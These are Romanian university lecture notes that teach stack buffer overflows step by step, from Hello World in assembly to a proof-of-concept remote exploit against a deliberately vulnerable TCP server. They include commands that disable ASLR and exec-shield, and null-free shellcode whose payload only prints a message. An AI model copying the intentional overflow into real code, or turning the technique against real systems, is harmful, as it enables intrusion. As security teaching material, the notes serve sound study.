

# Univ. Babeş-Bolyai, Facultatea de Matematică şi Informatică

Lect. dr. Darius Bufnea

## Notiţe de curs Protocoale de Securitate în Comunicaţii

### Curs 4

Materialul de fata prezintă arhitectura unui exploit remote proof-of-concept care injectează cod executabil pe stivă - exploit-urile remote nu se rezumă doar la inserarea de cod executabil pe stiva, in funcţie de arhitectura / platformă / tehnologia folosita de serviciul / serverul target-at, codul injectat remote poate fi şi cod scris in diverse limbaje specializate / limbaje de scripting precum SQL sau JavaScript în cazul exploit-urilor web based.

Exemplele din prezentul material sunt construite gradual, având o complexitate graduală, plecând de la clasicul Hello World, până la un exemplu funcţional de exploit remote care permite unui atacator sa injecteze remote cod executabil.

### Cunoştinţe / instrumente necesare

Pentru înţelegerea exemplelor de fata sunt necesare:

- cunoştinţe "basic" de limbaj de asamblare pe 16 şi 32 de biţi şi arhitectura apelurilor sistem (funcţiilor sistem), precum şi a modului de apel a acestora;
- cunoştinţe minime de sisteme de operare / apeluri sistem Linux;
- maşină virtuală (poate fi si fizica) rulând un kernel pe 32 de biţi din seria 2.6.x. Exemplele din materialul de faţă au fost testate folosind Redhat Enterprise Linux 5 / CentOS 5, dar e posibil sa funcţioneze şi pe alte distribuţii care respectă cerinţele privind versiunea de kernel.
- compilator `gcc`, editor `hexedit`, asamblor `nasm`, linkerul `ld`, debugger-ele `objdump`, `strace` şi `ltrace` oferite de majoritatea distribuţiilor Linux fie folosind `apt-get` fie `yum` (în funcţie de distribuţie).

### Un pic de teorie despre apelul funcţiilor/procedurilor - recapitulare de la ASC :)

Când o funcţie se apelează in diverse limbaje de programare care se compilează, compilatorul generează pentru acestea o instrucţiune maşina `call` către adresa din memorie la care se găseşte codul executabil al funcţiei. Acest `call` este practic un `jump` la adresa funcţiei, precedat de un `push` pe stivă a adresei de revenire (adresa următoarei instrucţiuni de după `call`). Adresa de revenire se găseşte in registrul IP (Instruction Pointer) pe arhitecturile pe 16 biţi, respectiv EIP (Extended Instruction pointer) pe arhitecturile pe 32 de biţi. Putem spune ca instrucţiunile de mai jos sunt echivalente:

<code>call functie</code>	<code>push ip</code> <code>jmp functie</code>
---------------------------	--

La terminarea execuției funcției, trebuie să se revină cu execuția la următoarea instrucțiune de după `call`. După cum am spus mai sus, aceasta este salvată pe stivă. Este important din acest punct de vedere că, codul care se execută în cadrul funcției să lase stiva "cum a găsit-o", să nu lase valori adăugate în plus, dar nici să nu scoată mai multe valori decât a adăugat - tocmai pentru a păstra semnificația valorii din vârful stivei - la terminarea execuției funcției, valoarea din vârful stivei trebuie să indice spre adresa de revenire. Returul efectiv dintr-o funcție se face cu instrucțiunea `ret` (de la return) care este echivalentă cu un `pop` de pe stivă și un `jmp` la valoarea extrasă de `pop` (altfel spus, `ret` = "scoate de pe stivă o valoare și sari cu execuția la valoarea tocmai scoasă").

Observație: Instrucțiunile `call`, `jmp` și `ret` există în varianta near sau far, dar acest lucru nu prezintă interes pentru exemplele proof-of-concept din materialul de față - salturile efectuate de aceste instrucțiuni fiind de același tip.

Dacă funcția apelată are și parametri, aceștia sunt puși pe stivă înainte de a efectua `call`-ul (fie valorile parametrilor pentru parametri transmiși prin valoare, fie adresele parametrilor pentru cei transmiși prin referință).

Adresa de revenire (pusă de <code>call</code> )
Parametrii formali transmiși funcției

Variabilele locale declarate în cadrul procedurilor și funcțiilor se alocă și ele pe stivă - asta e common knowledge, alocarea lor având loc evident deasupra valorii de revenire. Pentru a putea accesa însă variabilele locale pe stivă dar și pentru a conversa "vârful stivei", fiecare funcție/procedură începe cu următoarea secvență de instrucțiuni:

```
push bp
mov bp, sp
```

Registrul `sp` indică întotdeauna spre vârful stivei iar registrul `bp` (base pointer) este folosit pe post de registru de index în cadrul stivei. Aceste două instrucțiuni practic au scop triplu: salvează registru `bp` pe stivă, salvează valoarea vârfului stivei în `bp` și îl pregătesc în același timp pe `bp` pentru a fi folosit ca index în cadrul stivei în zona actuală a vârfului stivei unde se regăsesc tot felul de valori ce prezintă interes (parametrii funcției și variabilele locale)

O funcție / procedură se termină cu inversul celor două instrucțiuni de mai sus:

```
mov sp, bp
pop bp
```

Practic se restaurează vechiul vârf al stivei din `bp`, și se restaurează `bp`-ul de pe stivă. De obicei, după aceste două instrucțiuni urmează instrucțiunea `ret` de care am amintit care face return la adresa de revenire care este următoarea care se regăsește pe stivă.

Variabile locale declarate in cadrul functiei
Backup registrul bp
Adresa de revenire (pusa de call)
Parametrii formali transmisi functiei

După cum am spus, pe stiva, pot sa fie alocate diverse variabile locale, inclusiv unele de dimensiuni mai mari precum siruri sau tablouri. Spre exemplu, pe stivă poate fi alocat un tablou `x` cu 3 elemente de aceeași dimensiune cu a cuvântului memorat pe stivă:

<code>x[0]</code>
<code>x[1]</code>
<code>x[2]</code>
Backup registrul bp
Adresa de revenire (pusa de call)
Parametrii formali transmisi functiei

## Buffer overrun / Buffer overflow

Elemente tabloului din exemplu de mai sus sunt memorate pe stiva si pot fi accesate cu `x[0]`, `x[1]` si `x[2]`. Dar, putem "din greșeală" accesa zona de memorie dincolo de `x[2]`, si anume `x[3]`, `x[4]`, `x[5]` s.a.m.d - de fapt efectuam un buffer overrun - citim dincolo de sfârșitul bufferului `x`. Mai grav este când scriem aceste valori dincolo de dimensiunea alocata pentru bufferul `x`, pentru ca suprascriem pe stiva valori care din punct de vedere semantic au o alta semnificație (buffer overflow). Modificând cu grijă un `x[k]` putem sa suprascriem adresa de revenire, mai mult chiar o putem modifica in așa fel încât sa poarte chiar spre o locație de pe stiva (spre exemplu spre începutul tabloului `x` unde se poate regăsi pe stiva cod executabil citit de la distanta ("injectat") de pe un socket, dintr-un fișier, etc - cod executabil care practic se execută.

Pentru a preîntâmpina astfel de probleme, sistemele de operare moderne implementează anumite mecanisme de protecție precum: randomizarea stivei sau Data Execution Prevention (pe scurt DEP, mai este numit și Executable Space Protection).

Exemplele de față se doresc a fi didactice - pentru a funcționa pe sistemul Linux pe care sunt rulate trebuie să executați ca root următoarele două comenzi pentru dezactivarea mecanismelor de protecție amintite anterior:

```
echo 0 > /proc/sys/kernel/exec-shield          #turn it off
echo 0 > /proc/sys/kernel/randomize_va_space    #turn it off
```

## Exemple de complexitate "graduala"

Toate exemplele din prezentul material se găsesc in [această arhivă](#) structurată pe directoare.

### Exemplul 0 (fișierul 00\hello0.c)

```
int main() {
    printf("Hello world!\n");
}
```

Nu sunt prea multe de explicat :). Ce vreau sa punctez de fapt, e faptul că la nivelul unui sistem de operare există 2 tipuri de funcții care se execută:

- Funcții de librărie (sau funcții din biblioteci) ce sunt in general de nivel mai înalt și rezidă în diferite fișiere precum fișierele .dll pe Windows (abreviere de la Dynamic Link Library) sau fișierele .so (shared object) pe Linux.
- apelurile sistem (mai low level) care sunt implementate în cadrul nucleului sistemului de operare. De obicei funcțiile de librărie (de nivel înalt) se traduc de către compilator în apeluri sistem. In exemplu de mai sus, funcția `printf` va fi tradus de compilator în apelul sistem `write`. Pentru a vizualiza acest lucru, dacă exemplu de mai sus este compilat într-un executabil denumit `hello0`, un `strace ./hello` (`strace` este un debugger care afișează apelurile sistem ce se executa) va evidenția următoarea linie:

```
write(1, "Hello world!\n", 13
```

### Exemplul 1 (fișierul 01\hello1.c)

```
int main() {
    write(1, "Hello world!\n", 13);
}
```

Nu sunt prea multe de explicat nici pe acest exemplu, e exemplu 0 de mai sus dar rescris folosind direct apelul sistem `write`. Puteți încerca sa ii faceți si la acesta degugging folosind `strace`.

### Exemplul 2 (fișierul 02\hello2.asm)

Acest exemplu prezintă varianta asamblare pe 16 biți, pentru sistemul de operare DOS. Puteți folosi utilitarele `tasm` și `tlink` pentru al compila și rula (vedeți inclusiv cerințele, link-urile și exemplele din notițele de la cursul trecut).

```
assume cs:code, ds:data

data segment
    message db 'Hello world!'
    l equ $ - message
data ends

code segment
start:
    mov ax, data
    mov ds, ax
```

```

    mov ah, 40h ; 40h codul functiei pentru apelul sistem write - a se vedea
docum
entia Norton Guide
    mov bx, 1 ; descriptorul 1 inseamna iesirea standard
    mov cx, 1 ; in cx se punea lungimea sirului ce se afiseaza
    mov dx, offset message ; in ds:dx se pune adresa sirului ce se afiseaza
    int 21h ; write(1, message, 1);

    mov ah, 4ch ; 4ch codul functiei pentru apelul sistem exit
    mov al, 00h ; 00 codul de retur trimis sistemului de operare
    int 21h ; exit(0);

code ends
end start

```

Apelurile sistem DOS (sau funcțiile sistem DOS) sunt funcții de la întreruperea 21h. Codul funcției se specifica în registrul `ah`, urmând ca restul parametrilor funcțiilor să fie plasați în ceilalți regiștri. În acest exemplu sunt folosite două apeluri/funcții sistem DOS: `write` și `exit`. Pentru a face exemplul mai didactic și mai ușor de înțeles, am exemplificat pe comentarii inclusiv codul C echivalent al instrucțiunilor `asm`.

### Exemplul 3 (fisierul 03\hello3.c)

```
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <stdio.h>
#define FILENAME "message.txt"

int main() {
    int fd;
    #define l 13
    char message[l];

    fd = open(FILENAME, O_RDONLY);
    read(fd, message, l);
    close(fd);
    write(l, message, l);
}
```

Același exemplu precedent, dar s-a dorit folosirea mai multor apeluri sistem: `open`, `read`, `write` și `close`. Practic mesajul Hello World este citit dintr-un fișier și ulterior afișat la ieșirea standard. Important și util pe acest exemplu este debuggin-ul cu `strace` pentru a vizualiza apelurile sistem la execuție. Observați că se poate vizualiza și valoare descriptorului de fișier `fd` întors de `open` (3 în exemplul de mai jos), pasat mai departe ca parametru la apelurile sistem `read` și `close`.

[illegible]

## Exemplul 4 (fișierul 04\hello4.asm)

Exemplul de mai sus (exemplul 3) rescris în asamblare pe 16 biți pentru DOS. Poate fi compilat cu tasm și tlink.

```
assume cs:code, ds:data
data segment
    l equ 13 ; buffer length
    message db 13 dup (?)
    filename db "message.txt", 0
    fd dw ?
data ends

code segment
start:

    mov ax, data
    mov ds, ax

    mov ah, 3dh                ; open file function
    mov al, 0                  ; 0 in AL read only
    mov dx, offset filename    ; ds:dx file name, ASCIIZ
    int 21h                    ; returns in ax the file handle
                                ; fd = open(filename, O_RDONLY);
    mov fd, ax

    mov ah, 3fh                ; read from file function
    mov bx, fd                 ; file handle in bx
    mov cx, 1                  ; number of byte to read in cx
    mov dx, offset message     ; ds:dx far address of the buffer
    int 21h                    ; read(fd, message, 1);

    mov ah, 3eh                ; close file function
    mov bx, fd                 ; file handle in bx
    int 21h                    ; close(fd);

    mov ah, 40h                ; write to file function
    mov bx, 1                  ; 1 the file descriptor of the standard output
    mov cx, 1                  ; number of bytes to write
    mov dx, offset message     ; ds:dx far address of the buffer to write
    int 21h                    ; write(1, message, 1);

    mov ah, 4ch                ; exit function
    mov al, 00                 ; return code in al
    int 21h                    ; exit(0);

code ends
end start
```

## Exemplul 5 (fișierul 05\hello5.asm)

Conține varianta asamblare pe 32 de biți, sub Linux, a primelor trei exemple din materialul de fata (Hello World-urile simple). In limbaj de asamblare pe 32 de biți se pot folosi regiștrii pe 32 de biți `eax`, `ebx`, `ecx`, s.a.m.d, fiecare registru pe 16 biți având o varianta extinsă pe 32 de biți. La fel cum `ax` este varianta extinsa pe 16 biți a registrului `al` (`al` fiind partea low a lui `ax`), `eax` este varianta extinsă pe 32 de biți a registrului `ax` (`ax` fiind partea low a lui `eax`). Apelurile sistem Linux, pentru un kernel pe 32 de biți, sunt funcții de la întreruperea 80h, codul funcției/apelului sistem fiind specificat prin intermediul registrului `eax`, restul regiștrilor fiind folosiți pentru diverși parametri ai apelului sistem respectiv.

In exemplu de fata au fost folosite doua apeluri sistem (`write` = funcția 4 de la întreruperea Linux 80h și `exit` = funcția 1 de la aceeași întrupare).

```
section .data
    s: db 'Hello world!', 10
    l: equ $ - s

section .text
    global _start

_start:
    mov eax, 4 ; write system call
    mov ebx, 1 ; file descriptor, standard output
    mov ecx, s ; address of the buffer
    mov edx, 1 ; length of the buffer
    int 80h    ; write(1, s, 1)

    mov eax, 1 ; exit system call
    mov ebx, 0 ; return value
    int 80h    ; exit(0);
```

Exemplul 5 poate fi asamblat în Linux folosind `nasm` și linkeditat cu `ld` (echivalentele Linux ale `tasm` și `tlink`). Pentru a vizualiza cele două apeluri sistem in timpul execuției puteți folosi din nou comanda `strace`:

```
nasm -f elf hello5.asm
ld -o hello5 hello5.o
strace ./hello5
```

Observație: pentru a rula și testa cu succes exemplele de față, asigurați-vă din nou că rulați un kernel pe 32 de biți din seria 2.6.x (puteți folosi comanda `uname -a` în acest sens).

### Exemplul 6 (fișierul 06\ex6.asm)

```
section .text
    global _start

_start:
    mov eax, 29
    int 80h
```

Exemplu 6 prezintă un scurt exemplu asamblare pe 32 de biți sub Linux care apelează un alt apel sistem. Este vorba de apelul sistem `pause` (= funcția 29 de la întreruperea 80h). In urma asamblării, linkeditării

și execuției exemplului folosind `strace`, va puteți convinge că într-adevăr se execută un apel sistem `pause`:

```
nasm -f elf ex6.asm
ld -o ex6 ex6.o
strace ./ex6
execve("./ex6", [ "./ex6" ], [ /* 21 vars */ ]) = 0
pause(
```

Observație: Apelul sistem `pause` așteaptă indefinit pana la apariția unui semnal. Pentru a se termina corect, un proces Linux ar trebui sa apeleze la final apelul sistem `exit` (funcția 1 de la întreruperea 80h). Pentru a termina execuția exemplului de mai sus, puteți da un CTRL-C, fapt care duce atât la trimiterea semnalului SIGINT (se trece de apelul sistem `pause`) cât și la terminarea procesului.

### Exemplul 7 (fișierul 07\hello7.asm)

Exemplul 7 conține exemple 3 și 4 rescrise în asamblare sub Linux pe 32 de biți. Practic sunt folosite apelurile sistem `open` (deschidem fișierul din care dorim sa citim mesajul), `read` (citim mesajul), `write` (il afișam la ieșirea standard – fișierul cu descriptorul 1), `close` (închidem fișierul) și `exit` (terminăm procesul).

```
section .data
    filename: db 'message.txt', 0

section .bss
    fd resd 1          ; uninitialized data
    l equ 13
    message resb 1     ; reserve 13 bytes

section .text
    global _start

_start:
    mov eax, 5         ; open system call
    mov ebx, filename  ; filename goes in ebx
    mov ecx, 0         ; read only
    int 80h            ; returns file descriptor in eax

    mov [fd], eax      ; fd = open(filename, O_RDONLY);

    mov eax, 3         ; read system call
    mov ebx, [fd]      ; fd goes in ebx
    mov ecx, message   ; buffer address in ecx
    mov edx, 1         ; buffer length in edx
    int 80h            ; read(fd, message, 1);

    mov eax, 4         ; write system call
    mov ebx, 1         ; file descriptor goes in ebx, 1 - standard output
    mov ecx, message   ; address of the buffer
    mov edx, 1         ; length of the buffer
    int 80h            ; write(1, message, 1);
```



```

mov eax, 6          ; close system call
mov ebx, [fd]       ; fd goes in ebx
int 80h             ; close(fd);

mov eax, 1          ; exit system call
mov ebx, 0           ; return value
int 80h             ; exit(0);

```

Apelarea acestor apeluri sistem poate fi vizualizata in urma asamblării, linkeditării și execuției exemplului folosind `nasm`, `ld` și `strace`:

```

nasm -f elf hello7.asm
ld -o hello7 hello7.o
strace ./hello7
execve("./hello7", ["/hello7"], [/* 20 vars */]) = 0
open("message.txt", O_RDONLY) = 3
read(3, "Hello World!\n", 13) = 13
write(1, "Hello World!\n", 13Hello World!
) = 13
close(3) = 0
_exit(0) = ?

```

### Exemplul 8 (fișierul `ex8.c`)

```

const char code[]="\xb8\x1d\x00\x00\x00\xcd\x80";

int main() {
    int (*f)();
    f = code;
    f();
}

```

In acest exemplu declarăm un pointer numit `f` la o funcție ce returnează un `int` (nu declarăm sau definim o funcție - declarăm doar un pointer). Ulterior, spunem ca pointerul `f` indică spre o anumita zonă de memorie unde se găsește șirul constant de caractere (buffer-ul) numit `code` ce conține "gândaci hexa" :). Practic, bufferul `code` va conține codul funcției `f`, la apelul acesteia sărindu-se cu execuția la adresa bufferului `code` și executându-se codul in limbaj mașina ("gândacii hexa") conținut de acest buffer.

Pentru a vedea "ce se ascunde" in spatele codului funcției `f`, puteți compila (compilare simplă cu `gcc`) și rula acest exemplu folosind `strace`:

```

gcc ex8.c -o ex8
strace ./ex8
...
pause( <unfinished ...>

```

Ați remarcat apelarea apelului sistem Linux `pause` (funcția 29 de la întruparea 80h). Codul mașina care se execută la apelarea acestui apel sistem poate fi obținut folosind comanda `objdump` pe fișierul obiect din cadrul exemplului 6:

```
objdump -d ex6
```

ex6: file format elf32-i386

Disassembly of section .text:

```
08048060 <_start>:
8048060: b8 1d 00 00 00      mov     $0x1d,%eax
8048065: cd 80              int     $0x80
```

Remarcați / comparați outputul comenzii de mai sus cu conținutul bufferului `code` din exemplul `ex8.c`.

### Exemplul 9 (fișierul `ex9.c`)

```
#include <stdio.h>

const char code[] = "\xb8\x1d\x00\x00\x00\xcd\x80";

void g() {
    int x;
    *(&x + 2) = code;
}

int main() {
    g();
}
```

În acest exemplu, modificăm în cadrul funcției `g`, adresa de revenire de pe stivă din cadrul acestei funcții. Pentru a-l înțelege mai ușor, prezentăm configurația stivei în cadrul funcției `g`.

Codul generat pentru apelul funcției `g` include o instrucțiune `call g` care salvează pe stivă adresa următoarei instrucțiuni de după `g` (nu e important care este această adresă, doar faptul ca ea se regăsește pe stivă), iar în interiorul funcției `g`, după cum spuneam în prima parte a acestui material se execută instrucțiunile (adaptate la 32 de biți):

```
push ebp
mov ebp, esp
```

x
ebp
adresă de revenire

Astfel pe stiva se regăsesc în ordine (de jos în sus – atenție!, jos în stiva înseamnă adresă mai mare): adresa de revenire, `ebp`, și variabila de tip `int` `x`. La adresa variabilei `x` se găsește evident variabila `x` :), la `&x + 1` se găsește salvat un backup pentru registrul `ebp`, iar la `&x+2` se găsește adresa de revenire din funcție.

Observație `&x + n` nu înseamnă `n` octeți "mai încolo pe stivă", ci din cauza aritmeticii pe pointer înseamnă `n * dimensiunea de reprezentare a unei adrese octeți mai încolo`. Altfel spus `&x+2` indică spre 2 locații mai jos în cadrul stivei. La acea adresă se regăsește adresa de revenire din funcție, adresa pe care o suprascriem cu adresa bufferului `code`. Ca efect, în momentul terminării execuției funcției `g`, se

sare cu execuția la adresa bufferului, unde se regăsește codul mașină pentru apelul sistem `pause`. Acest lucru se poate observa făcând un `strace` pe binarul acestui exemplu compilat (compilare normală cu `gcc`).

### Exemplul 10 (fișierul `ex10.c`)

```
#include <stdio.h>

void g() {
    char s[12];
    printf("Adresa lui s este: %p\n", &s);
    gets(s);
}

int main() {
    g();
}
```

Exemplu 10 va propune un exercițiu simplu. Vă afișează adresa șirului `s` (alocat pe stivă) și vă permite să citiți acest șir de la tastatură folosind o funcție "periculoasă". În momentul compilării exemplului cu

```
gcc -o ex10.out ex10.c
```

ar trebui să primiți următorul mesaj: "warning: the 'gets' function is dangerous and should not be used.". De ce? pentru că funcția `gets` nu verifică în niciun fel dimensiunea datelor de intrare, permițând citirea de la tastatură a unui număr de octeți mai mare decât cel alocat. Pentru a vedea acest lucru, rulați exemplul și citiți de la tastatură un număr mic de octeți (< 12 dimensiunea alocată pentru bufferul `s`). Procesul se termină în mod normal. Dacă veți citi însă un număr mai ridicat de octeți (> 12), programul va "crăpa" cu "Segmentation fault (core dumped)". De ce acest lucru? Pentru că, caracterele citite de la tastatură se vor salva în bufferul `s` pe stivă, iar dacă numărul lor este mai mare decât adresa alocată pentru buffer pe stivă, se vor suprascrie valori pe stiva în continuarea bufferului `s` - altfel spus, se va suprascrie valoarea salvată pentru `ebp` și adresa de revenire. La terminarea execuției funcției `g`, adresa de revenire din funcție fiind alterată, se sare cu execuția aleator în memorie, procesul crăpând cu mesajul "Segmentation fault (core dumped)". Acest mesaj l-ați mai putut întâlni și sub diverse alte forme precum "Null pointer exception" sau "This program has performed an illegal operation".

Observație: O "căsuță" de pe stivă ocupa 4 octeți (32 de biți). Într-o astfel de căsuță se memorează adresa de revenire (reprezentată tot pe 32 de biți), valoarea unui registru (tot pe 32 de biți), instrucțiunile `push` și `pop` de lucru cu stiva pe o arhitectura pe 32 de biți operand tot cu operanzi pe 32 de biți. Pentru a vizualiza mai didactic stiva în cadrul acestui exemplu, am alocat (desenat) pentru `s` care are alocați 12 octeți 3 căsuțe de memorie pe stivă.

<code>s[0], s[1], s[2], s[3]</code> - un octet fiecare
<code>s[4], s[5], s[6], s[7]</code>
<code>s[8], s[9], s[10], s[11]</code>

ebp
adresă de revenire

## Exemplul 11 (fișierele sursă ex11.c, ex11.asm și fișierul binar input11.dat)

Fișierul ex11.c:

```
#include <stdio.h>

void g() {
    char s[12];
    int *x = s;
    printf("Adresa lui s este: %p\n", &s);
    printf("Adresa lui x este: %p\n", &x);
    printf("Adresa de revenire este: %p\n", x[4]);
    gets(s);
    printf("Noua adresa de revenire este: %p\n", x[4]);
}

int main() {
    g();
}
```

Ce face și afișează acest exemplu? În principiu afișează în cadrul funcției `g` configurația stivei (diverse adrese și valori de pe stivă pentru a înțelege configurația acesteia) și citește un buffer de la tastatură la fel ca exemplu precedent.

Configurația stivei în cadrul apelului funcției `g` este următoarea:

x
s[0], s[1], s[2], s[3] - un octet fiecare
s[4], s[5], s[6], s[7]
s[8], s[9], s[10], s[11]
ebp
adresă de revenire

`x[0]` va indica spre primii 4 octeți din șirul `s`, `x[3]` va indica spre `ebp`, iar `x[4]` va indica spre adresa de revenire.

Pentru a-l vedea în acțiune, rulăm acest exemplu în 3 scenarii:

Scenariul 1: Rulare normală, numărul de caractere citit de la tastatură este mai mic decât numărul de octeți alocați pentru șirul `s`.

```
Adresa lui s este: 0xbfffeabc
Adresa lui x este: 0xbfffeab8
Adresa de revenire este: 0x8048459
Ana are mere
Noua adresa de revenire este: 0x8048459
```

Observați că diferența dintre adresa lui `x` și adresa lui `s` este de 4 octeți (o căsuță pe stivă) și faptul că adresa de revenire nu se schimbă înainte și după citirea șirului `s`.

Scenariul 2: Rulare având ca date de intrare un șir de caractere de dimensiune intenționat mai mare decât dimensiunea alocată pentru șirul `s` (programul crapă cu "Segmentation fault (core dumped)" datorită suprascrierii adresei de revenire de pe stivă).

```
Adresa lui s este: 0xbfffeabc
Adresa lui x este: 0xbfffeab8
Adresa de revenire este: 0x8048459
Ana are mere si cocosul canta
Noua adresa de revenire este: 0x6f636f63
Segmentation fault
```

Observați diferențele dintre adresa de revenire tipărită înainte și după citirea șirului `s`, diferență datorată suprascrierii pe stivă a acesteia. Adresa de revenire modificându-se, procesul nu mai sare cu execuția unde trebuie la terminarea funcției `g`.

Scenariul 3: Rularea exemplului cu intrarea standard redirectat din fișierul `input11.dat`:

```
./ex11 < input11.dat
```

În exemplu de față, octeții "malițioși" au fost citați dintr-un fișier. În real life, sunt citați remote de pe socket de la un client rău intenționat. Ce conține fișierul `input11.dat`? Conține cod mașină ce se va citi și salva în cadrul bufferului `s` "and beyond " pentru a suprascrie și adresa de revenire. Adresa de revenire va fi suprascrisă cu o valoare ce va indica chiar spre începutul bufferului `s` aflat pe stivă, care practic a fost populat cu octeți citați din fișierul `input11.dat` ce se vor executa la revenirea din funcție.

Fișierul `input11.dat` conține octeții determinați folosind comanda `objdump` al următorului program scris în limbaj de asamblare (fișierul `ex11.asm`). Octeții de la finalul fișierului `input.dat` ce vor suprascrie adresa de revenire, trebuie înlocuiți (puteți folosi în acest sens editorul `hexedit`) cu inversa adresei (datorită arhitecturii little-endian) șirului `s`.

Fișier `ex11.asm`:

```
section .text
    global _start
_start:
    mov eax, 29 ; shellcode
    int 80h
    nop
    nop
    nop
    nop
    nop
    nop
    nop
    nop
    nop
    nop
    return_addr: dw 0xbfffeabc; return address
```

Dacă ați efectuat toți pașii corect, adresa de revenire după suprascriere trebuie să fie identică cu adresa șirului `s`, adresa la care am citit octeți mașină corespunzători apelului sistem `pause`.

```
[bufny@teste ~]$ ./ex11 < input11.dat
Adresa lui s este: 0xbfffeabc
Adresa lui x este: 0xbfffeab8
Adresa de revenire este: 0x8048459
Noua adresa de revenire este: 0xbfffeabc
```

## Exemplul 12 (fișierele `client.c` și `server.c`)

Exemplul 12 este un exemplu clasic de client-server scris în C prin care clientul cere serverului un anumit serviciu. În cazul de față, îi trimite serverului un șir terminat cu caracterul `NULL` și îi cere serverului să calculeze lungimea șirului primit, lungime care va fi returnată clientului. Serverul, care este unul concurrent (crează folosind `fork` câte un proces fiu pentru tratarea în paralel a mai multor clienți) va trata un client în funcția `tratare()`. Aceasta prezintă un bug intenționat. Citește de pe socket octeții șirului până la primirea caracterului `NULL`, salvează acești octeți într-un buffer de dimensiune redusă și nu verifică depășirea dimensiunii acestui buffer. Practic, în situația în care se vor depăși cei 100 de octeți alocați acestui buffer, va fi suprascrisă și adresa de revenire aflată pe stivă. În situația în care aceasta adresă va fi suprascrisă cu o valoare care să indice spre începutul bufferului `x` aflat pe stivă, și acest buffer a fost populat remote de către un client malițios cu cod binar, practic se va executa acest cod.

### Fișierul `client.c`

```
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/ip.h>
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>

int main() {
    int c, l;
    struct sockaddr_in server;
    char s[100];

    c = socket(AF_INET, SOCK_STREAM, 0);
    if (c < 0) {
        fprintf(stderr, "Eroare la creare socket server.\n");
        exit(1);
    }

    memset(&server, 0, sizeof(server));
    server.sin_family = AF_INET;
    server.sin_port = htons(3000);
    server.sin_addr.s_addr = inet_addr("127.0.0.1");

    if (connect(c, (struct sockaddr *) &server, sizeof(server)) < 0) {
```

```

        fprintf(stderr, "Eroare la conectarea la server.\n");
        exit(1);
    }

    printf("Dati un sir: ");
    fgets(s, 100, stdin);
    send(c, s, strlen(s) + 1, 0);
    recv(c, &l, sizeof(l), 0);
    l = ntohl(l);
    printf("Lungimea sirului raportata de catre server este: %d\n", l);
    close(c);
}

```

### Fișierul server.c

```

#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/ip.h>
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>

int c;

void tratare() {
    char s[100];
    int i = 0;
    do {
        recv(c, &s[i++], 1, 0);
    }
    while (s[i-1] != 0);
    i--;
    i = htonl(i);
    send(c, &i, sizeof(i), 0);
    close(c);
}

int main() {
    int s, l;
    struct sockaddr_in server, client;

    s = socket(AF_INET, SOCK_STREAM, 0);
    if (s < 0) {
        fprintf(stderr, "Eroare la creare socket server.\n");
        exit(1);
    }

    memset(&server, 0, sizeof(server));
    server.sin_family = AF_INET;
    server.sin_port = htons(3000);
    server.sin_addr.s_addr = INADDR_ANY;

    if (bind(s, (struct sockaddr *) &server, sizeof(server)) < 0) {
        fprintf(stderr, "Eroare la bind. Portul este deja folosit.\n");
        exit(1);
    }
}

```

```

}

listen(s, 5);

while (1) {
    l = sizeof(client);
    memset(&client, 0, l);
    c = accept(s, (struct sockaddr *) &client, &l);
    printf("S-a conectat un nou client.\n");
    if (fork() == 0) {
        tratare();
        exit(0);
    }
}
}

```

Un aspect în avantajul clientului malițios este faptul că serverul creează un proces fiu separat pentru fiecare conectare a clientului. Dacă clientul malițios nu nimerește să suprascrie adresa corectă de revenire, procesul fiu crăpă cu "segmentation fault" - dar crapă numai acesta, nu și procesul părinte - clientul putând încerca din nou și din nou cu noi adrese de revenire pe stivă până ajunge să suprascrie adresa de revenire cu o adresa corectă care să indice pe stivă la adresa de început a bufferului `s`.

### Exemplul 13 (directorul 13)

Pentru clientul și serverul din exemplul precedent ne imaginăm următorul scenariu de rulare: clientul citește datele de intrare din cadrul unui fișier `exploit.dat` care conține octeții mașină corespunzători următorului exemplu asamblare (fișierul `exploit.asm`).

```

section .text
    global _start

_start:
    call _sari_pestes
    message: db 'Am spart serverul. Execut ce am eu chef.', 10
    l equ $ - message

_sari_pestes:
    mov eax, 4 ; write system call
    mov ebx, 1 ; file descriptor, 1 - standard output
    pop ecx    ; ecx address of the buffer, address of the buffer is on
                ; the top of the stack pushed by call
    mov edx, 1 ; length of the buffer
    int 80h    ; write(1, message, 1);

    mov eax, 1 ; exit system call
    mov ebx, 0 ; return value
    int 80h    ; exit(0);

    nop
    nop
    nop
    nop

```



Este important ca niciunul dintre octeții trimiși pe socket de la client la server să nu aibă valoarea 0. Într-un asemenea caz, serverul va interpreta acest octet ca sfârșitul șirului trimis de client și nu va citi octeți mai departe, practic fenomenul de buffer overrun ne mai având loc. Pentru a "sparge"cu succes serverul, fișierul exploit.dat trebuie să conțină octeți în limbaj mașină, dar nici unul dintre acești octeți nu trebuie să aibă valoarea 0. Practic, instrucțiunile asamblare trebuie rescrise în așa fel încât să nu genereze niciun octet cu valoare 0 în limbaj mașina.

Exemple:

- In loc de `mov ebx, 0` putem scrie `xor ebx, ebx`
- In loc de `mov eax, 4` putem scrie `xor eax, eax` și `mov al, 4`

Fișierul `exploit_no_null.asm` conține codul asamblare corespunzător codului mașina (fără octeți cu valoarea null) salvați în fișierul `exploit.dat`. Fișierul `exploit.dat` trebuie editat (folosind `hexedit`) astfel încât la deplasat (offset) 108 în cadrul său să se găsească inversa adresei de revenire de pe stiva din funcția `tratare` (adresă pe care clientul trebuie să o ghicească prin rulări succesive).

```
section .text
    global _start

_start:
    jmp short _end

_back:
    xor eax, eax
    mov al, 4      ; write system call
    xor ebx, ebx  ;
    mov bl, 1     ; file descriptor in ebx, 1 - standard output
    pop ecx      ; cx address of the buffer
    xor edx, edx
    mov dl, 1     ; length of the buffer in edx
    int 80h      ; write(1, message, 1);

    xor eax, eax  ; exit system call in eax
    mov al, 1
    xor ebx, ebx  ; return value
    int 80h      ; exit(0);

    nop
    nop
    nop
    nop
    nop

_end:
    call _back
    message: db 'Am spart serverul. Execut ce am eu chef.', 10
    l equ $ - message
```

În cazul rulării cu succes a unui client malițios, serverul va trebui să afișeze mesajul:

Am spart serverul. Execut ce am eu chef.

mesaj care se afișează datorită codului mașină malițios primit de la client.

În zilele următoare voi afișa și o problemă / joc prin care sper să vă provoc și să îi recompensez pe cei ce reușesc "să mă spargă" 😊.

## Bibliografie

- Steve Hanna: [\*Shellcoding for Linux and Windows Tutorial\*](#)
- [\*Writing shellcode\*](#)
